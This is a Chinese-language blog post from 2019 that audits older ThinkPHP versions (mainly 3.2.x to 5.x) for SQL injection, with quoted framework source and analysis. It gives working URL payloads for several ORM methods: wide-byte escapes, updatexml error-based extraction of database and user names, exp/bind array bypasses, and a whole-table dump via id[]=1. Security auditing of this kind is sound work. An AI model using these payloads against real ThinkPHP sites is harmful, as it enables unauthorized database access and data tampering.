ThinkPHP<6.0 SQL注入代码审计分析

版本过多只分析大版本和使用人数较多的版本目前使用人数最多的3.2.3。审计时也是发现多个版本未公开漏洞

测试环境:  Mysql5.6/PHP5.5

首先明确的是在不使用PDO做参数绑定时ThinkPHP全版本都可能存在宽字节注入。

黑盒检测方法:输入于头字节大于7F测试数据例如:

%88%5c%27%5eupdatexml(1,concat(0x7e,database()),3)%23  (%5e 后跟任意T-SQL语句)

白盒检测方法 全局搜索默认格式是否被设置GBK

'DEFAULT_CHARSET' => 'utf-8', // 默认输出编码

或者

mysql_query("SET NAMES gbk");

Where方法

也是使用的最多的条件查询方法,支持查询条件预处理

1. $Model->where("id=%d
and username='%s' and xx='%f'",array($id,$username,$xx))->select();
2. // 或者
3. $Model->where("id=%d
and username='%s' and xx='%f'",$id,$username,$xx)->select();

而他的预处理实际上调用了addslashes() 方法

/**
 
 * SQL指令安全过滤
 
 * @access public
 
 * @param string $str  SQL字符串
 
 * @return string
 
 */
 
public function escapeString($str) {
 
    return addslashes($str);
 
}

然而在对单参数传递时where并没对语句做参数化处理而在官方文档多个实例也是只传递了一个参数,包括一些开源项目找到的错误写法。

$result =
$this->db()->where($where)->update($data);
或
$teachers = $Teacher->where('name', 'like', '%'
. $name . '%')

where代码

/**
 
 * 指定查询条件 支持安全过滤
 
 * @access public
 
 * @param mixed $where 条件表达式
 
 * @param mixed $parse 预处理参数
 
 * @return Model
 
 */
 
public function where($where,$parse=null){
 
    if(!is_null($parse) && is_string($where)) {
 
        if(!is_array($parse)) {
 
            $parse = func_get_args();
 
            array_shift($parse);
 
        }
 
        $parse = array_map(array($this->db,'escapeString'),$parse);
 
        $where =   vsprintf($where,$parse);
 
    }
         ...
         ...
         ...   
 
    return $this;
 
}

只对$parse参数做了过滤 这种写法对于query()同样有效或者类似处理的方法同样有效。

这也算是开发人员安全意识问题,但在审计时这样的写法是影响全版本的。

 

QUERY()方法,execute方法

这两个方法支持更多原生sql语句在复杂的业务场景经常遇到

在低于3.1.3版本这两个方法都调用parseSql来解析sql语句

/**
 
 * 解析SQL语句
 
 * @access public
 
 * @param string $sql  SQL指令
 
 * @param boolean $parse  是否需要解析SQL
 
 * @return string
 
 */
 
protected function parseSql($sql,$parse) {
 
    // 分析表达式
 
    if(true === $parse) {
 
        $options =  $this->_parseOptions();
 
        $sql    =   $this->db->parseSql($sql,$options);
 
    }elseif(is_array($parse)){ // SQL预处理
 
        $sql    =   vsprintf($sql,$parse);
 
    }else{
 
        $sql    =   strtr($sql,array('__TABLE__'=>$this->getTableName(),'__PREFIX__'=>C('DB_PREFIX')));
 
    }
 
    $this->db->setModel($this->name);
 
    return $sql;
 
}

然而parseSql根本就没有对数组参数做预处理就直接查询了。

这个漏洞官方早就披露了但在历史版本仍然可以见到身影。

Table,find,alias,join,union,group,having,comment 方法

Table,find这2个方法都需要select() 进行与数据库查询并未发现过滤

如果参数可控可以直接利用

$Dat=$Data->field($id)->select();

url地址中输入

id=updatexml(1,concat(0x7e,database()),3)
或者数组形式可以躲避value的过滤检测
id[updatexml(1,concat(0x7e,database()),3),1]=1

Table利用方式方式一样

id=users%20where%20%20updatexml(1,concat(0x7e,database()),3)--+
Id[users]=%20where%20%20updatexml(1,concat(0x7e,database()),3)--+

在where之前的做操作都可以这样利用

还有类似

      Alias 设置当前数据表的别名

     Group 根据一个或多个列对结果集进行分组

     Join 用于根据两个或多个表中的列之间的关系

     UNION操作用于合并两个或多个 SELECT 语句的结果集

     COMMENT方法 用于在生成的SQL语句中添加注释内容

如果参数可控都会造成SQL注入

Order方法

Order方法有个cve编号CVE-2018-16385

在小于5.1.2版本都存在sql注入在官网现在3.2.5最新版已经被修复然而

在3.2.4之前版本这个漏洞依旧存在 而且这个更新函数改动了很多升级可能会出现更多问题

 

 

 

 

 

 第二个图是补丁之后的对所有参数数组化防止sql注入,考虑问题更加全面增加数组遍历。常规的数组处理利用二维数组可以绕过例如

id[id][updatexml(1,concat(0x7e,database()),3)]=--+

Select方法

前置方法查询数据拼接后都是进入select最后和数据库交互。也是重要的方法在支持一个参数传递往往条件 18年也披露一个漏洞 $options参数可控同类影响的方法还有delete,find

只需要在url中输入

id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

便可注入成功都是利用了接收数组参数未验证导致的

/** 
* 查询数据集
* @access public
    
* @param array $options 表达式参数
     
* @return mixed   
*/
 
public function select($options=array()) {
        
$pk   =  $this->getPk();    
    ...
 
    ...
 
// 分析表达式
 $options    =  $this->_parseOptions($options);     
    ...
    ...
     
 return $resultSet;
 
    }

虽然在3.2.5版本更新了这个漏洞但在官网3.2.3并未被修复依旧可以被利用这也导致了低于3.2.5版本都可以利用。

在查看官方安全更新代码时发现5.x包括,3.2.5最新版本确实将这个漏洞过滤了但却引发另一个利用可能。

$id=I("get.id");
 
$Dat=$Data->select($id);
 
$this->data =  $Dat;

在url输入 id=1%20and%201=1  可以看到执行语句

SELECT * FROM `users` WHERE `id` = 1 [ RunTime:0.0007s ]

可以看到确实这样也不会存在sql注入但是有另一个问题Thinkphp框架特殊性

当你查询一个数据是否存在时,入侵者无法得知你的ip时候可以通过传递一个数组例如

?id[]=1

SELECT * FROM `users` [ RunTime:0.0006s ]

遇到位置错误的时候在拼接where条件时会自动跳过,这样你就看到整表的数据,这种方法也可以利用在delete()方法

update方法

1. $User->where('id=5')->setInc('score'); // 用户的积分加1

2. $User->where('id=5')->setDec('score',5); // 用户的积分减5

在调用setInc,sETDec在调用时如果参数可控也会存在注入

在直接调用update去实例化更新数据同样会参数注入同样的官方也发布了安全更新

 例如构建一个对象

$User = M("users");
$user['id'] = I('id');
$valu = $User->where($user)->save($data);

这里也是利用exp注入

Id[0]=exp&id=[1]==1  执行的sql语句为

Select * from users Where id=1

这里的update也是这样的利用方式利用bind 构建的payload:

id[0]=bind&id[1]=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))

而它的代码

/**
     * 更新记录
     * @access public
     * @param mixed $data 数据
     * @param array $options 表达式
     * @return false | integer
     */
    public function update($data,$options) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql   = 'UPDATE ' . $table . $this->parseSet($data);
        if(strpos($table,',')){// 多表更新支持JOIN操作
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            //  单表更新支持order和lmit
            $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
                .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

从Update代码中发现代码中先调用parseSet  构建的 set xxxx 在拼接完成后 类似

UPDATE xxx SET user=:0 WHERE id= xx

在where条件第二次调用拼接时可以造成SQL注入

elseif('bind' == $exp ){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp' == $exp ){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];

在传递数组时可以达到绕过

Id[0]=bind&id=updatexml(1,concat(0x7e,database()),3)
或者
Id[0]=exp&id=updatexml(1,concat(0x7e,database()),3)

这也是 bind,exp注入

在最后调用execute 方法时默认对:10 进行拼接

这里又会造成第3次注入

比如我们输入

?u=)%20and%20updatexml(1,concat(0x7e,database()),3)%20--+&p=exp&id=:1%27:0

在条件位只输入:1’:0 修改位放我们要注入的语句依旧可以注入成功

 

 

这里insert 也是同样的利用方法低于5.0都有这个问题目前官方并未修复虽然利用条件苛刻。

至此在对常用的交互查询,修改方法审计完成。也是发现多个利用条件(踩不完的坑),对于thinkphp在接收数组时的多处理造成的SQL注入,虽然不明白这样设计框架的含义但这样是非常不安全的,很容易接收无法处理的数组导致程序报错重要信息泄露甚至500导致服务器宕机。

也是第一次接触php代码审计,对很多特性都要翻阅官方文档如有遗漏或者错误欢迎补充指正。

posted @ 2019-10-08 18:48  紅人  阅读(1519)  评论(0编辑  收藏  举报